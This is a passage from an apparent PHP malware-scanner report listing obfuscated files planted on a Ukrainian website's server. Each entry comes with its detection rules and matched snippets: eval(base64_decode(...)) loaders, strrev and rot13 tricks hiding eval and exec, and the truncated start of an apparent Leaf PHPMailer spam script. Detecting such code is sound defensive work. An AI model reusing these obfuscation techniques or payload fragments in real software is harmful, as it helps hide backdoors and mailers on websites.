<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_386").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/jitlk.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:56:48</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:56:48</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_387" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_387").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovapgdziu.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:51</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:51</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_388" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_388").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wwnhe.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:29</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_389" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_389").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovasgyiqf.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_390" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
